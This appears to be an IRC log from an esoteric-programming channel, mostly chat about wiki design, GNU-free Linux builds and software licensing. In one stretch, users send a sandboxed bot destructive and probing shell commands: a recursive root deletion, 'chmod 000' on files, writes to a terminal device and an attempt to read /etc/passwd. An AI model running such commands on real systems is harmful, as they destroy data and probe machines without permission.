15:07:43 <fizzie> Oh, right. I should fix that.
15:07:45 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.17633
15:07:58 <elliott> Noooooooooooooooooooooooo.
15:08:16 <fizzie> Oh well, I guess it could stay.
15:08:19 <elliott> It's the only thing I can trust to remain constant in this world!!!!
15:08:43 <fizzie> Anyway, zem.fi's most-impressions query is "logic gates". Sadly with "<10" clicks a month.
15:08:50 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.16594
15:09:03 <itidus21> ok ok i give up i leave it alone
15:09:11 <elliott> Despite being the ~4.1th result on the page.
15:09:22 <elliott> Out of 170,000 impressions, there have been 150 clicks.
15:09:22 <fizzie> "logic gates", "logic gate", "4 bit adder", "not gate" and "logički sklopovi" are in the top ten.
15:09:40 <elliott> (CTR /is/ clicks/impressions, right?)
15:09:51 <fizzie> I would certainly think so.
15:09:58 <elliott> Um. Why are the "crawl errors" in Polish?
15:11:01 <elliott> For some reason, Google has tried to request http://esolangs.org/wiki/Real_Fast_Nora's_Hair_Salon_3:_Shear_Disaster_Download.
15:11:29 <nortti> http://www.qdb.us/134635
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15:12:24 <ion> That would be an awesome name for an esolang.
15:13:26 <elliott> Deewiant: You still have the archived forum, right?
15:13:30 <elliott> ion: Yes, I was just thinking that.
15:13:45 <ion> Nora’s Hair Salon: 2.6/10. Nora’s Hair Salon II: 3.9/10. Nora’s Hair Salon 3: Shear Disaster: 1.1/10.
15:14:06 <elliott> Nora's Hair Salon II was really the creative pinnacle of the series. A modern classic.
15:14:23 <nortti> it has been deleted by ais523. Does anyone know what it contained?
15:14:55 <elliott> nortti: Yes: <elliott> Oh, it was a spma.
15:15:07 <elliott> But fizzie is around, so I start misspelling things.
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15:15:22 <elliott> nortti: I could show you what it was, but, uh... it's not terribly interesting.
15:17:09 <elliott> <b>IMDB Rating: </b> 0.0 out of 10 <br>
15:17:18 <elliott> Does including that in their spams really help their cause?
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15:20:21 <itidus21> so notch is going to do the idea of putting computers in a game.. but i can't say i didn't express the same general idea in the logs
15:20:38 <elliott> Deewiant: (I was thinking about putting up a static archive of the forum up at /forum/.)
15:20:51 <elliott> That might not do much good, since it's been 410'd for a while now.
15:21:57 <itidus21> that bastard keeps having all my ideas, improving on them dramatically, and implementing them in a way that makes him famous and wealthy
15:22:34 <itidus21> infact this is true of all bastards
15:24:49 <elliott> RocketJSquirrel: I can't figure out a way to get it to position correctly.
15:25:14 -!- pikhq_ has joined.
15:25:23 <elliott> RocketJSquirrel: OK, I could do it, but I'd have to use a table :(
15:25:27 -!- pikhq has quit (Ping timeout: 264 seconds).
15:31:33 <elliott> RocketJSquirrel: I'll do it if you help me figure out how to get the <h1> not to display in Google's snippet :P
15:31:47 <elliott> The problem is that there's a previous <h1>Main Page</h1> it's ignoring >_>
15:31:59 <elliott> So when it sees the next one it's all "lolol this is page content".
15:41:54 <elliott> RocketJSquirrel: Maybe I can keep the tooltip if I change the main page's <title> to "Esolang, the esoteric programming languages wiki" X-D
15:43:43 <elliott> That has the ostensible mild downside of making bookmarks ugly unless you change the title.
15:43:51 <elliott> Though Wikipedia already do a similar thing (with "Wikipedia, the free encyclopedia").
15:46:39 <elliott> RocketJSquirrel: Of course, I could also change the page title to "Enjoy being locked in your matrix of solidity" and remove the tooltip.
15:53:26 <elliott> "Your recent edit(s) to Wikipedia:Sandbox were believed to be unconstructive, and so have been reverted or removed. Please use the sandbox for any further testing, [...]" -- message left on a Wikipedia user talk page
16:03:17 <elliott> RocketJSquirrel: What are you trying to do?
16:03:58 <elliott> RocketJSquirrel: That's the Y. What's X?
16:04:26 <RocketJSquirrel> I'm just wasting a day reëxploring the feasibility of NoGNU/Linux.
16:05:26 <elliott> RocketJSquirrel: That was my guess.
16:05:29 <elliott> RocketJSquirrel: Use musl.
16:05:47 <elliott> It is (a) just as GNU-free; (b) not GPL (though it is LGPL) and (c) actually works.
16:06:28 <elliott> bionic will be 100x as painful, even if you manage to get it to build, thanks to all the things it omits because Android doesn't need them.
16:06:30 <RocketJSquirrel> Isn't musl the one with the author who doesn't understand licensing?
16:06:38 <elliott> RocketJSquirrel: No, that's dietlibc.
16:06:43 <elliott> musl is the new kid on the block (few years old).
16:06:54 <elliott> See http://www.etalabs.net/compare_libcs.html, http://www.etalabs.net/musl/faq.html.
16:06:58 <Deewiant> FWIW the AUR package bionic-svn built painlessly for me just now.
16:07:20 <elliott> RocketJSquirrel: It's also ABI-compatible with glibc, though that's unlikely to matter to you.
16:07:25 <elliott> (It goes to great lengths to maintain that.)
16:08:04 <elliott> RocketJSquirrel: BTW, how are you compiling things? I don't think clang works with a stock kernel quite yet...
16:08:40 <RocketJSquirrel> I'm using GCC first. I'll switch to clang when/if practical.
16:09:54 <elliott> RocketJSquirrel: Well, clang is practical for everything except the kernel (and maybe libc? I don't think musl does anything weird, though.), pretty much...
16:10:18 <elliott> RocketJSquirrel: Though musl's C++ support is relatively new (for use with LLVM's libc++, I think).
16:10:25 <elliott> By relatively, I mean the null string.
16:10:40 <elliott> (Relevant because clang is C++ :P)
16:13:39 <elliott> Yeah, gcc + binutils is pretty much the only GNU you need these days.
16:21:28 <RocketJSquirrel> / /tools/i686-linux-gnu/include/features.h:1:2: error: #warning "features.h is bogus" [-Werror=cpp]
16:24:17 <elliott> RocketJSquirrel: HEY GO LOOK AT http://esolangs.org/wiki/Main_Page IT LOOKS SLIGHTLY DIFFERENT NOW
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16:28:49 <elliott> RocketJSquirrel: THERE'S MORE THAN THAT YOU IDIOT
16:29:21 -!- Frooxius has joined.
16:33:07 <elliott> RocketJSquirrel: But they also removed the title, you see!
16:35:21 <RocketJSquirrel> conftest.c:1:0: internal compiler error: Segmentation fault
16:37:56 <elliott> RocketJSquirrel: Are you still trying to compile bionic?
16:38:23 <elliott> RocketJSquirrel: Which GCC version?
16:38:32 <elliott> pikhq_ has successfully bootstrapped a musl/gcc system.
16:38:47 <elliott> IIRC the standard thing is to bootstrap GCC 3 first and then use that to compile 4.
16:39:39 <sebbu> ppl still use gcc3 ?
16:40:08 <elliott> sebbu: Only for bootstrapping :P
16:45:47 <elliott> Hey RocketJSquirrel, how the hell do you overlap two CSS gradients >_>
16:45:51 <elliott> RocketJSquirrel is the CERTIFIED CSS EXPERT.
16:52:52 <elliott> RocketJSquirrel: How many people are still on Firefox 3 these days?
16:53:01 <elliott> RocketJSquirrel is the CERTIFIED BROWSER EXPERT.
16:53:14 <elliott> RocketJSquirrel: But 4 only came out in 2011 :'(
16:55:21 <nortti> elliott: computers at my school. At least they got rid of Firefox 2 installs at the end of 2011
16:56:04 <elliott> You mean I can systematically punish people at your school by merely removing these obsolete vendor prefixes??
16:56:50 <nortti> elliott: what do you mean by obsolete vendor prefixes?
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16:57:18 <sebbu> who still use firefox <= 10 ?
16:57:36 <elliott> nortti: <div style="background: #EEF; vertical-align: top; border: 1em solid #EEF; border-bottom-left-radius: 1em; border-bottom-right-radius: 1em; -moz-border-radius-bottomleft: 1em; -moz-border-radius-bottomright: 1em">
16:57:51 <sebbu> oh, browser specific code
16:57:56 <elliott> Firefox has supported the standard versions since 4.0, and changing TWICE THE VALUES is an UNACCEPTABLE BURDEN on me :P
16:58:08 <elliott> sebbu: I use Firefox G_64.
16:58:27 <nortti> I got one teacher to update her computer to Firefox 10, but she doesn't wan't to update to 11. Good thing FF 10 is ESR
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16:58:51 <nortti> I use TenFourFox unstable 11
16:59:17 <elliott> nortti: Pfft, Classilla is where it's at.
16:59:21 <sebbu> i'll use wildfox then
16:59:29 <elliott> As far as Mozilla browsers for obsolete Macintosh computers goes.
16:59:38 * elliott has ACTUALLY USED Classilla.
16:59:57 <sebbu> well, i used k-meleon
17:00:02 <nortti> elliott: I also have Classilla 9.3 and I use it at least one day a week
17:01:39 <nortti> I have used K-Meleon, Firebird, Pathworks Mosaic and Netscape 5(pre-alpha) and I still use Classilla, Camino and Mosaic-CK
17:02:54 <elliott> I didn't use Firefox before it became Firefox.
17:03:10 -!- Phantom_Hoover has joined.
17:03:35 <nortti> I own 3 C64s and I plan to connect one of them to Internet, I have working MacMINIX install on weekly use and I have programmed my own OS in 16bit asm
17:03:58 <nortti> so you can call me weird if you want
17:05:01 <elliott> You're in the middling ranks of weird at best; call me when you rewrite that OS with your own assembler and start using your own Conkeror fork (with an insane license) to browse.
17:06:28 <nortti> elliott: I plan to build my own computer with my own processor architecture, then write my own OS to it and start using my own browser
17:06:42 <nortti> also I hate emacs key bindings
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17:08:09 <nortti> I could also program my OS in a version of my own SSBPL programming language
17:09:57 <nortti> How many weirdopoints do I get if I start to use RISC OS as my main os?
17:11:25 <elliott> I have decided to stop offering public advertisements weirdopoints.
17:14:39 -!- cheater has joined.
17:29:57 <elliott> I like how our main page circa 2006 looks like it evolved into the current main page over the years, despite actually going through a completely different design in the middle: http://esolangs.org/w/index.php?title=Main_Page&diff=next&oldid=5672
17:30:06 <elliott> (I didn't see that old one before making the new one.)
17:31:58 <elliott> RocketJSquirrel: Did you add the day of the day in response to http://esolangs.org/w/index.php?title=Main_Page&diff=prev&oldid=17414? :P
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17:32:49 <RocketJSquirrel> elliott: lol, no, somebody on #esoteric said we should have a page of the day.
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17:36:13 <nortti> does anyone know where I can download BeOS 5 PE?
17:38:06 <elliott> I thought you strongly opposed piracy.
17:38:57 <nortti> elliott: it is the freeware version¨
17:39:09 <elliott> http://www.bebits.com/app/2680
17:39:26 <elliott> I managed to get a pirated BeOS' installer to run in a VM once. But never the thing itself.
17:40:21 <nortti> there is no download for BeOS itself on that page
17:41:29 <elliott> Then what is "BeOS R5 Personal Edition for Windows"?
17:41:39 <elliott> And "BeOS R5 Personal Edition for Linux".
17:42:11 <nortti> not the standalone versions
17:42:56 <elliott> Was there a standalone version?
17:43:06 <RocketJSquirrel> New idea: NoGNU/Linux by way of OpenWatcom's shitty libc ^^
17:44:11 <elliott> RocketJSquirrel: were you using the musl-gcc wrapper?
17:46:38 <elliott> Just wondering if you were doing some wild gcc hack to get it working that was causing you troubles instead.
17:49:12 <elliott> RocketJSquirrel: The musl page is fairly old.
17:49:22 <elliott> RocketJSquirrel: But I recommend you try GCC 3 anyway.
17:49:27 <elliott> (And then bootstrap 4 with it.)
17:49:38 <elliott> That seems to be what most people do.
17:49:42 <elliott> RocketJSquirrel: #musl is helpful, anyway.
17:57:04 <elliott> RocketJSquirrel: You might need that fixinc.sh thing.
17:57:07 <elliott> Dunno if it's still required.
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18:04:30 <elliott> RocketJSquirrel: That shouldn't be a problem.
18:04:41 <elliott> RocketJSquirrel: I mean, ABI-compatibility means that all the internal structures have the same in-memory layout and all.
18:04:46 -!- nortti has quit (Quit: ChatZilla 0.9.88.1 [Firefox 11.0/20120312200651]).
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18:05:03 <elliott> The observable difference is mostly in header files (musl is much stricter about not leaking additional non-standard names or names from other headers into the namespace).
18:06:15 -!- asiekierka has joined.
18:06:26 <RocketJSquirrel> "musl is much stricter about not leaking additional non-standard names or names from other headers into the namespace" I find this extraordinarily difficult to believe.
18:06:33 -!- asiekierka has quit (Remote host closed the connection).
18:08:05 <RocketJSquirrel> glibc's DEFAULT is very lax, but if you use -std=c99 or -ansi or what have you, it's unbelievably strict.
18:09:10 <RocketJSquirrel> I notice that pikhq_ has a self-bootstrapping musl-based DISTRO in github.
18:11:50 <RocketJSquirrel> Unfortunately it uses busybox, which is not quite FSF-free.
18:11:52 <elliott> RocketJSquirrel: I implied it!
18:12:03 <elliott> busybox is waaaay not FSF free.
18:12:09 <elliott> IIRC half of it is basically ripped from coreutils.
18:12:26 <elliott> RocketJSquirrel: Christian Neukirchen has such a distro too.
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18:12:45 <elliott> https://github.com/chneukirchen/sabotage
18:12:54 <elliott> Make that https://github.com/chneukirchen/sabotage.
18:12:57 <RocketJSquirrel> elliott: Yeah, but I think that there exists some not entirely terrible subset of busybox that is FSF-free X-D
18:13:02 <elliott> Make that http://chneukirchen.github.com/sabotage/.
18:13:15 <RocketJSquirrel> elliott: And I looked at sabotage too, but unless I'm completely misunderstanding, it actually uses a GCC statically compiled against glibc.
18:15:05 <elliott> RocketJSquirrel: That would be weird, since he called it a bootstrapping distro, but OK.
18:15:13 <elliott> (Well, "I bootstrapped a distro".)
18:15:18 <elliott> (I don't think "bootstrapping distro" means anything.)
18:15:29 <elliott> (Well, I guess it does, by analogy with "bootstrapping compiler".)
18:15:39 <RocketJSquirrel> Yeah, I don't rightly have any idea what I'm babbling about *shrugs*
18:17:22 * elliott wonders wtf the "By e-mail" button on http://esolangs.org/wiki/Special:UserLogin/signup does.
18:17:58 <elliott> Oh, chooses a password randomly and emails it to you.
18:18:26 <elliott> To create accounts for other users without compromising them
18:19:47 <elliott> No, it's for anyone, not just admins. Okay.
18:20:00 <elliott> No, not anyone, it's for admins.
18:26:49 <fizzie> Flip, flop, flip, flop.
18:29:04 * Sgeo shoots elliott with a SuperBullet
18:29:14 <Sgeo> Oh, that reminds me, want the ISO?
18:30:03 <lambdabot> monqy: You have 1 new message. '/msg lambdabot @messages' to read it.
18:30:12 <elliott> Not today. I'm unlikely to play today and it'd hog my bandwidth.
18:30:17 <monqy> what a cryptic message
18:32:48 <elliott> RocketJSquirrel: I bet it's Debian's fault.
18:34:13 <RocketJSquirrel> What's the easiest distro to bootstrap into a chroot other than Debian ^^
18:35:51 <elliott> As for anything else, just use a VM.
18:35:59 <elliott> BTW, I was joking about it being Debian's fault.
18:36:32 <RocketJSquirrel> I know, but you're probably right, GCC is nutty to build on Debian even when you're NOT using some weird libc it's never heard of.
18:44:49 <olsner> elliott: "[...] it's easier to use the "Move" link from the drop-down menu next to "View history". "
18:44:56 <olsner> I see no such drop-down menu
18:52:34 <elliott> @ask ais523 Is there any reason not to enable moves for unregistered users on the wiki?
18:56:00 <pikhq_> I'm afraid that bootstrap-linux is the only thing that *actually* bootstraps ATM.
18:56:38 <pikhq_> RocketJSquirrel: In probably a couple months we should be able to switch to toybox. (Robert Landley's busybox-alike)
18:57:50 <pikhq_> In the meantime, the only necessary FSF stuff is GCC, Binutils, GNU Make, and whatever's in busybox.
18:58:52 <pikhq_> Trust me when I say that just getting glibc out is huge.
18:59:09 <pikhq_> Getting Binutils out is going to be a major PITA, as is GNU Make...
19:00:57 <RocketJSquirrel> I only care about "user" stuff, so GCC/binutils/make actually aren't that big of a concern to me.
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19:01:23 <pikhq_> Busybox doesn't seem to have much FSF in it from what I've looked at.
19:01:34 <pikhq_> It's merely bad rather than apeshit.
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19:02:26 <pikhq_> (FSF coreutils requires the ability to poke libc datastructures, which Busybox certainly doesn't.)
19:04:26 <pikhq_> coppro: Look at gnulib and there shall be weeping and gnashing of teeth.
19:09:10 <pikhq_> I'm *quite* confident the LZO code is not GNU. :)
19:09:40 <elliott> <pikhq_> RocketJSquirrel: In probably a couple months we should be able to switch to toybox. (Robert Landley's busybox-alike)p
19:09:40 <pikhq_> And util-linux is definitely copied from util-linux.
19:09:52 <elliott> pikhq_: "Robert Landley's" is amusing, considering he's one of the core BusyBox developers :P
19:10:07 <elliott> I'm pretty sure he rejoined.
19:10:09 <pikhq_> elliott: Now he's just a guy who does patches every now and then.
19:10:17 <pikhq_> He's definitely not core.
19:10:28 <elliott> The main thing I remember is that he's delusional about licensing.
19:11:04 <pikhq_> Not very delusional, more just bitter about how GPLv3 has put people off of GPL...
19:11:07 <RocketJSquirrel> <pikhq_> And util-linux is definitely copied from util-linux. // util-linux isn't FSF, is it?
19:11:44 <pikhq_> RocketJSquirrel: util-linux is Linux. :)
19:12:14 <elliott> <pikhq_> Not very delusional, more just bitter about how GPLv3 has put people off of GPL...
19:12:18 <elliott> pikhq_: I don't refer to anything about GPLv3.
19:12:53 <pikhq_> elliott: So what do you refer to?
19:13:04 <elliott> pikhq_: I refer to his characterisation of Bruce Perens' (i.e. original author of BusyBox) outrage when they unilaterally changed the license without his permission.
19:13:23 <pikhq_> RocketJSquirrel: Likewise... GNU stuff sucks from a technical PoV.
19:13:35 <pikhq_> elliott: Seriously, I have no idea that shit happened.
19:13:50 <RocketJSquirrel> So anyway, my conclusion is that bootstrap-linux ALMOST meets my requirements as stands.
19:13:53 <elliott> There is a fair claim that there was none of his work remaining at the time they relicensed it, but (a) he only undertook the analysis of that to "make him go away"; and (b) I'm not sure you can say "I rewrote all the lines piece by piece" as an argument you don't have a derivative work.
19:14:18 <elliott> pikhq_: (I believe the outrage was only when they started /litigating/ about the license, too, not just when it happened.)
19:15:02 <elliott> pikhq_: http://www.osnews.com/story/22618/BusyBox_Author_Bruce_Perens_on_the_GPL_Lawsuit http://busybox.net/~landley/forensics.txt
19:17:01 <shachaf> zzo38: Did you ever finish your Magic: The Gathering software?
19:17:56 <cheater> shachaf: yo what's up little buddy
19:18:01 <zzo38> shachaf: Do you mean TeXnicard? Not quite yet, but in future I might work on it more; and anyone else is free to submit whatever you want that I might or might not include with it.
19:18:33 <shachaf> zzo38: What are you working on these days/
19:19:07 <zzo38> shachaf: Various things
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19:20:32 <pikhq_> elliott: Amusingly, Landley is now trying to get projects *off* of GPL.
19:25:03 <zzo38> Note that even though TeXnicard is not yet complete, it still does many things far better than MSE and other programs. TeXnicard will do plurals of words better than MSE, and will convert numbers to words all the way up to "nine hundred ninety-nine billion nine hundred ninety-nine million nine hundred ninety-nine thousand nine hundred ninety-nine", and sorts titles in a natural way including roman numerals, has more options for statistics, etc
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19:25:36 <zzo38> Even the current version can probably be used if you do not want to print out the actual cards; since that is the only thing missing (although it is partially implemented).
19:25:48 <elliott> zzo38: What about nine hundred ninety-nine billion nine hundred ninety-nine million nine hundred ninety-nine thousand nine hundred ninety-nine plus one?
19:25:59 <pikhq_> It's probably not even *hard* to do better than MSE.
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19:28:24 <itidus21> if i apply a thesaurus word-swapper to a piece of text does that count as rewritten? :D
19:28:42 <nortti> I am going to troll my school tomorow by installing bblean on school computers and setting it as default shell
19:29:07 <itidus21> being or not being. this is the question
19:30:41 <itidus21> Tomorrow my educational center shall be trolled when i install bblean as default shell on computers there.
19:32:31 <itidus21> i believe that i reworded your idea
19:33:53 <zzo38> elliott: Well, it is not built-in to the "plain.cards", although everything in that file can be overridden. However, numbers are usually limited to 32 bits.
19:35:02 <nortti> yes you did. You reworded it, but it is still my idea I got when my parents watched in horror me using bblean in my own account on our shared computer
19:36:45 <zzo38> Other features I intend which are not yet implemented, include: indexed and searchable card database of many sets together, sales tracking, and a way to parse sentences in card texts into computer codes so that the game can be played by computer including enforcing and automating the rules.
19:38:32 <itidus21> i do have a theory though.. tribal source code sharing
19:38:46 <zzo38> pikhq_: I agree; it does have many problems. Although, even WotC uses MSE for doing fake cards and playtest cards and so on.
19:38:53 <itidus21> forming tribes on the internet who freely share code among themselves but exclude everyone else
19:39:10 <pikhq_> zzo38: Doesn't make it suck less. :)
19:39:21 <zzo38> pikhq_: Yes I agree.
19:39:52 <itidus21> trust.. a strange legal jurisdiction where people are not compelled to sue each other :D
19:40:31 <zzo38> It is also my intention, that if you use a Magic: the Gathering template with TeXnicard, that if you have the correct printing equipment, you can produce better quality cards than the official Magic: the Gathering cards. But it is also my intention that there is nothing specific to Magic: the Gathering built in to the program (unlike MSE, which does have some).
19:44:08 <nortti> itidus21: what if someone leaks the code outside the tribe?
19:44:45 <itidus21> i dunno if tribe is the most apt term or not..
19:45:18 <zzo38> If you have any other ideas about TeXnicard, you can write on: https://devlabs.linuxassist.net/projects/texnicard
19:45:18 <itidus21> nortti: well yeah trust can fail..
19:45:30 <zzo38> Sgeo: Do you know Magic Set Editor?
19:45:42 <itidus21> and the larger a group is the more likely that trust will break down
19:45:47 <Sgeo> No, but now I do. Or at least have heard of it now
19:49:36 <zzo38> (You will need an account to write on the Redmine page for TeXnicard.)
19:50:03 <zzo38> (You can also use the IRC for the project; it is always logged to public file.)
19:50:19 <itidus21> nortti: i do think it will happen though in the long run.. the tower of babel of the internet is due to collapse
19:50:38 <itidus21> for much of the same reasons amusingly
19:51:14 <nortti> people starting to speak different languages?
19:51:54 <itidus21> its getting absurd.. guys making something like facebook and becoming multibillionares almost overnight
19:52:11 <itidus21> porn and advertising seeping from every crevice
19:53:09 <itidus21> crackers of all sorts.. and corporations with lawyers
19:53:14 <zzo38> One problem with MSE is WYSIWYG; TeXnicard is designed from the start to be not WYSIWYG.
19:53:58 <itidus21> wikileaks, anonymous, SOPA, PIPA
19:55:14 <itidus21> maybe what'll happen is they'll zone off the internet into commercial and residential districts
19:56:25 <nortti> itidus21: there is one funny picture about assange an zuckenberg. assange: "I give private information of companies to people for free and I am criminal" zuckenberg: "I give private infirmation of people to companies for money and I am the man of the year"
19:57:40 <itidus21> since you dont know me that well im esolang/math-illiterate here and i think mostly tolerated for comic relief
19:58:01 <itidus21> but sometimes i wear patience thin
19:58:58 <itidus21> basically im part-troll and found my way here very differently from most here
19:59:57 <itidus21> i just get worried when people entertain my rants
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20:01:25 <zzo38> I only intend TeXnicard to support PNG for picture load/save format; using the LodePNG library which happens to be written by a same guy who invented some esolangs too.
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20:07:47 <monqy> hi maharba bye maharba
20:08:07 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ?itidus21: not found
20:08:36 <HackEgo> itidus21 just made some instant coffee.
20:09:07 <zzo38> Do you know if there is anything adding some function to Haskell "gloss" library that can have I/O action inside of something such as: playIO :: forall x y. Display -> Color -> Int -> x -> (x -> Picture) -> (Event -> x -> IO (Either y x)) -> (Float -> x -> IO (Either y x)) -> IO y;
20:09:18 <itidus21> i also have another id itidus20
20:09:19 <zzo38> (A variant of the existing "play" function)
20:09:36 <HackEgo> itidus20 is horny 60 year olds having cybersex in minecraft
20:10:08 <elliott> `run echo "itidus20's entry has been censored." >wisdom/itidus20
20:11:38 <HackEgo> Linux umlbox 3.0.8-umlbox #2 Sun Nov 13 21:30:28 UTC 2011 x86_64 GNU/Linux
20:12:09 <HackEgo> cat: /etc/passwd: No such file or directory
20:12:50 <HackEgo> /hackenv \ bin \ canary \ karma \ lib \ paste \ quotes \ share \ wisdom
20:12:55 <elliott> nortti: You realise /etc/passwd doesn't contain passwords these days, right?
20:13:31 <nortti> elliott: yes I do. I just wanted to get other info
20:14:03 <elliott> Oh, -a doesn't actually do anything.
20:14:36 <HackEgo> UID PID PPID C STIME TTY TIME CMD \ 0 1 0 0 20:14 ? 00:00:00 /init \ 0 2 0 0 20:14 ? 00:00:00 [kthreadd] \ 0 3 2 0 20:14 ? 00:00:00 [ksoftirqd/0] \ 0 4 2 0 20:14 ? 00:00:00 [kworker/0:0] \ 0 5 2 0 20:14 ? 00:00:00 [kworker/u:0] \ 0 6 2 0 20:14 ? 00:00:00 [rcu_kthread]
20:15:22 <fizzie> `run cat /proc/cpuinfo #just curious
20:15:25 <HackEgo> processor.: 0 \ vendor_id : User Mode Linux \ model name.: UML \ mode..: skas \ host..: Linux codu.org 2.6.32-5-xen-amd64 #1 SMP Tue Mar 8 00:01:30 UTC 2011 x86_64 \ bogomips.: 555.41 \
20:15:37 <fizzie> That's not too many bogomips.
20:15:59 <HackEgo> bash: lshw: command not found
20:16:16 <HackEgo> bash: lspci: command not found
20:16:17 <fizzie> There's not so much "hw" to "ls" under UML, anyway.
20:16:59 <elliott> `run ps -ef | paste # this is how you view larger outputs
20:17:03 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.25163
20:17:16 <HackEgo> bdi \ block \ firmware \ mem \ misc \ net \ tty
20:17:47 <fizzie> There's like 47 classes on /sys/class here.
20:18:32 <HackEgo> bash: ifconfig: command not found \ http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.26276
20:22:56 <HackEgo> rm: it is dangerous to operate recursively on `/' \ rm: use --no-preserve-root to override this failsafe
20:23:01 <elliott> `run rm -rf --no-preserve-root /
20:23:04 <HackEgo> rm: cannot remove `/sys/fs': Permission denied \ rm: cannot remove `/sys/devices/platform/uevent': Permission denied \ rm: cannot remove `/sys/devices/platform/alarmtimer/uevent': Permission denied \ rm: cannot remove `/sys/devices/platform/alarmtimer/modalias': Permission denied \ rm: cannot remove `/sys/devices/platform/alarmtimer/subsystem': Permission denied \ rm: cannot remove `/sys/devices/platform/alarmtimer/driver':
20:23:10 <HackEgo> rm: cannot remove directory: `.'
20:23:23 <HackEgo> bin \ canary \ karma \ lib \ paste \ quotes \ share \ wisdom
20:23:39 <nortti> `ls /bin /usr/bin /usr/local/bin | paste
20:23:41 <HackEgo> ls: cannot access /bin /usr/bin /usr/local/bin | paste: No such file or directory
20:24:06 <fizzie> It's not a real shell without.
20:24:45 <nortti> `run ls /bin /usr/bin /usr/local/bin | paste
20:24:49 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.7785
20:25:27 <fizzie> Also the "rm -rf *" demonstration is just begging for someone to "ls | grep -v canary | xargs rm -rf" or something.
20:26:28 <nortti> `run chmod 000 *; chown root
20:26:31 <HackEgo> chown: missing operand after `root' \ Try `chown --help' for more information.
20:26:48 <elliott> fizzie: Except the people who do that don't know what significance that file has until you tell them.
20:27:04 <elliott> (No, people don't deduce it from the name. I've asked.)
20:27:12 <HackEgo> total 128 \ drwxr-xr-x 2 5000 0 4096 Mar 18 20:27 bin \ -rw-r--r-- 1 5000 0 0 Mar 18 20:27 canary \ -rw-r--r-- 1 5000 0 24 Mar 18 20:27 karma \ drwxr-xr-x 2 5000 0 4096 Mar 18 20:27 lib \ drwxr-xr-x 2 5000 0 8192 Mar 18 20:27 paste \ -rw-r--r-- 1 5000 0 95628 Mar 18 20:27 quotes \ drwxr-xr-x 3 5000 0 4096 Mar 18 20:27 share \ drwxr-xr-x 2 5000 0 4096 Mar 18 20:27 wisdom
20:27:49 <fizzie> But it's *right there*, and it's called that. Oh well.
20:27:52 <RocketJSquirrel> <fizzie> Also the "rm -rf *" demonstration is just begging for someone to "ls | grep -v canary | xargs rm -rf" or something. // the canary isn't there to prevent interesting "exploits", it's there to prevent stupid ones.
20:27:56 <nortti> `run cat canary | paste
20:27:59 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.4760
20:28:17 <RocketJSquirrel> Since the first thing anybody does with HackEgo is `run rm -rf *
20:29:03 <fizzie> Also cat ate the canary, I see what happened there.
20:30:19 <nortti> ls | grep -v canary | xargs chmod 000
20:30:37 <nortti> `run ls | grep -v canary | xargs chmod 000
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20:33:35 <nortti> is canary a file that cannot be deleted?
20:35:19 <RocketJSquirrel> `run ls -l canary ; rm canary ; ls -l canary # It can be deleted!
20:35:22 <HackEgo> -rw-r--r-- 1 5000 0 0 Mar 18 20:35 canary \ ls: cannot access canary: No such file or directory
20:35:33 <Sgeo> What's the canary?
20:36:13 <HackEgo> bash: :{: command not found
20:37:02 <HackEgo> bash: -c: line 1: syntax error: unexpected end of file
20:38:26 <zzo38> Ticket #25 of gloss has functions with I/O, but they don't allow having a final result, and I do not think it to be sensible for the (world -> Picture) to also have I/O actions.
20:42:40 * Sgeo is currently obsessed with: BZFlag.
20:43:17 <monqy> ??cool what is bzflag
20:43:49 <Sgeo> Tank game with flags
20:44:00 <Sgeo> Often Capture the Flag, but not always
20:44:04 <Sgeo> And superflags give you powers.
20:44:11 <Sgeo> http://bzflag.org/
20:44:26 <nortti> `run dd if=/dev/urandom of=/dev/tty1 bs=1024 count=1024
20:44:29 <HackEgo> dd: opening `/dev/tty1': Permission denied
20:46:10 <HackEgo> ..*SZ.$HU.RX.l./.fs|xFe侈*K'Rհ.ĜA, \ ߡ7wXu.W..A.M:.A@ZΫȫD..?..lWYY.
20:47:51 <elliott> there's a bootstrapping distro that uses it
20:48:02 <pikhq_> RocketJSquirrel: It's just not enough to bootstrap yet.
20:48:19 <pikhq_> It's pretty close, though.
20:48:27 <pikhq_> http://www.landley.net/hg/toybox Here's the repo.
20:49:12 <RocketJSquirrel> There seems to be a disagreement between those two answers :0
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20:49:34 <elliott> pikhq_: Didn't Aboriginal Linux used to use toybox?
20:50:14 <zzo38> And I agree ticket #28 as well.
20:50:48 <pikhq_> elliott: I don't think so.
20:51:22 <pikhq_> The thing is, toybox only recently came off hold and is now being fleshed out into something useful.
20:52:44 <nortti> so what is the difference between busybox and toybox?
20:53:05 <pikhq_> nortti: Toybox sucks less.
20:53:18 <elliott> "Eventually, we'll start using toybox again"
20:53:41 <pikhq_> I've not seen it with enough tools to actually be used as coreutils.
20:54:08 <nortti> pikhq_: what sucks about busybox
20:54:14 <pikhq_> At the moment, it's missing some fairly essential tools like grep.
20:54:17 <pikhq_> nortti: Look at the code.
20:56:55 <nortti> is the idea behind toybox to create nonGNU/Linux?
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21:24:30 <Sgeo> According to suckless, XChat sucks
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21:25:43 <elliott> RocketJSquirrel: You and I seem to have that affect.
21:26:54 <elliott> RocketJSquirrel: Now I'm wondering what you were on suckless.org for.
21:27:18 <elliott> RocketJSquirrel: You know, 9base might just be compatible enough to use as a coreutils: http://tools.suckless.org/9base
21:27:24 <elliott> Not sure I'd bet on it, though.
21:27:50 <elliott> RocketJSquirrel: I suggest using makepp as your make: http://makepp.sourceforge.net/
21:27:57 <elliott> Since it claims near GNU Make-compatibility. And isn't GNU.
21:28:15 <elliott> Yah, but does it use them as the main toolset?
21:28:23 <elliott> Or was that the answer to "what you were on suckless.org for"?
21:28:51 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
21:28:56 <lambdabot> elliott asked 2h 36m 20s ago: Is there any reason not to enable moves for unregistered users on the wiki?
21:29:34 <ais523> elliott: it depends on if you expect we'll get vandals; moves can't be fully reversed by a non-admin, so the reason they're usually disallowed is to prevent vandalism that's disproportionately hard to revert
21:29:39 <elliott> ais523: (context: the Basic Input/Output Commander did a copy-paste-move to a new name, and I had to learn how to do a history merge)
